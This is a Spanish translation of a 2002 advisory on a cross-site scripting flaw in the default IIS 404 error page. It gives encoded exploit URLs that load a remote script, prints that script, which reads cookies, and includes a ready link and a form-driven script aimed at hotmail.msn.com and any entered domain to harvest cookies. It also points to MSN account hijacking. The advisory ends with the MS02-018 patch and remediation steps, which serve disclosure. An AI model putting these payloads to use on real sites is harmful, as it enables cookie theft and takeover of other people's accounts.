Cross Site Scripting en IIS.

13 Marzo 2002.

Aplicaciones afectadas:
Cualquier IIS que tenga la página de error 404, por defecto se encuentra en:
IIS 4
IIS 5
IIS 5.1

Impacto:
Robar las cookies, "piratear" cuentas del MSN, elevar los privilegios mediante ActiveX (no comprobado)

Introduction:
El Cross Site Scripting (CSS) es la inyección de un script en sitios agenos. Es decir cuando un usuario puede inyectar código en una web (por ejemplo hotmail.com) para hacerse con información del PC en el que se encuentra, como por ejemplo las cookies de otros usuarios.

Parece que la gente no se toma muy en serio el CrossSiteScripting, así que pensad por un momento que alguien crea un HTML parecido a los anteriores (o incluso los anteriores sin alterar) y los sube a un servidor propio (que puede ser su PC personal con el IS instalado, por ejemplo) , se va al cyber, y desde allí visita las páginas donde tenga guardados dichos HTML, es facil darse cuenta de lo fácil que le sería hacerse con los passwords de los usuarios que han estado en ese PC antes que el, por ejemplo, el audiogalaxy guarda los passwords de los usuarios en las cookies, y muchas veces la gente utiliza el mismo password para todo.

Descripción:
Cada vez que el IIS recibe el error HTTP 404 devolverá la página "404 not found" (HTTP 404 No encontrado).
Este HTML utiliza scripting para incluir un link al SERVER.TLD parte del la URL, y creando una URL especial es posible incluir scripts en la página de error 404, permitiendo por tanto el CrossSiteScripting en cualquier sitio con IIS.
Si miramos el código fuente del 404.htm podemos ver el siguiente código:

document.write( '<A HREF="' + escape(urlresult) + '">' + displayresult + "</a>");

El "displayResult" viene desde el primer :// en la URL hasta el siguiente /. Esto significa que vamos a tener que incluir nuestro script code antes de la ruta del URL. PAra lograrlo ponemos el script en la parte "Basic Authentication" de la URL, pero primero tenemos que evitar los caractéres especiales en el código. Cualquier caracter "/" cortar la ruta prematuramente y cualquier espacio va a provocar un fallo en la búsqyeda de las DNS , por esto vamos a sustituir los espacios por tabulaciones (TAB es decir %09) el caracter / por "%5Cx2f" (\x2f).


Exploit:

http://<img%09src=""%09onerror="document.scripts[0].src=
%27http%5Cx3a%5Cx2f%5Cx2fjscript.dk%5Cx2ftest.js%27;">
script@YOUR.TLD/SomeNonExistantPath

esto en caracteres estandar sería:

http://<img src="" onerror="document.scripts[0].src=
'http://script.dk/test.js';">
script@YOUR.TLD/SomeNonExistantPath

Este código incluye y ejecuta el test.js (en la ruta http://jscript.dk/test.js) en YOUR.TLD, suponiendo que el YOUR.TLD es suministrado en la instalación del IIS.

Ejemplos (estos ejemplos están tomados de http://jscript.dk , se incluye aquí el código fuente para una mayor comprensión):

Primero vamos a crear un archivo llamado test.js que tenemos que situar en un servidor IIS (como ejemplo está tomado de http://jscript.dk , será esta la ruta y el test.js que utilizan los scripts incluidos mas abajo) :

var msgStr = "Hola";
if(typeof location != "undefined") msgStr += "\nRuta " + location.hostname;
if(typeof document != "undefined"){
msgStr += "\nEsta es la cookie:";
msgStr += "\n\n" + document.cookie;
}

if(typeof document != "undefined" && document.body){
document.body.innerHTML = msgStr.replace(/\n/g,"<br>");
} else if(typeof alert !="undefined"){
alert(msgStr);
}

if(typeof WScript !="undefined"){
WScript.Echo(msgStr + "\n\nWindows Script Host");
}

Vamos a ver unos ejemplos:

1- Lee las cookies de un sitio determinado:

<a href='http://<img%09src=""%09onerror="document.scripts[0].src=
%27http%5Cx3a%5Cx2f%5Cx2fjscript.dk%5Cx2ftest.js%27;">
script@hotmail.msn.com/SomeNonExistantPath'>hotmail.msn.com </a>

Un link como este leerá la cookie de hotmail.msn.com

Aquí puedes encontrar varios ejemplos de links como el anterior:

http://jscript.dk/adv/TL001/simple.html

2- Elige la cookie que quieres leer:

<scr!pt>

function getCookies(sDomain){
var sPre = 'http://<img%09src=""%09onerror="document.scripts[0].src=
%27http%5Cx3a%5Cx2f%5Cx2fjscript.dk%5Cx2ftest.js%27;">script@'
var sURL = sPre + sDomain + '/SomeNonExistantPath' + (new Date()).getTime();
if(window.DummyLink){
DummyLink.href = sURL;
DummyLink.click()
} else {
window.open(sURL);
}
}

</scr!pt>

<p>

<a href="" id="DummyLink" style="display:none" target="_blank"></a>
Enter the domain name to your IIS server to see the cookies:
<br />
<form onsubmit="getCookies(this.sDomain.value);return false">
<input type=text style="width:300px" name="sDomain" value="hotmail.msn.com">
<input type=submit value="Get Cookies">
</form>

</p>

Sustituye scr!pt por script para que funcione.

Puedes comprobarlo aquí:

http://jscript.dk/adv/TL001/advanced.html


3- Tambien es posible "piratear" las cuentas del MSN, de este ejemplo
no incluyo el código por razones evidentes, quien quiera comprobarlo, que vaya al siguiente link:

http://jscript.dk/adv/TL001/msn.html

Solución:
Aplica el parche MS02-018 (http://www.microsoft.com/technet/security/bulletin/MS02-018.asp).
Borra la página estandar 404, puedes modificar el 404 y crear el tuyo propio.

Links:
CAN-2002-0148
CERT Cross Site Scripting advisory
Microsoft IIS HTTP Error Page Cross Site Scripting Vulnerability

 

Texto traducido por CyruxNET de:
http://jscript.dk/adv/TL001
(El proposito de las traducciónes en CyruxNET es sólo hacer llegar a la gente de habla hispana algunas noticias que consideramos interesantes, no nos hacemos responsables del contenido, puesto que son sólo traducciones)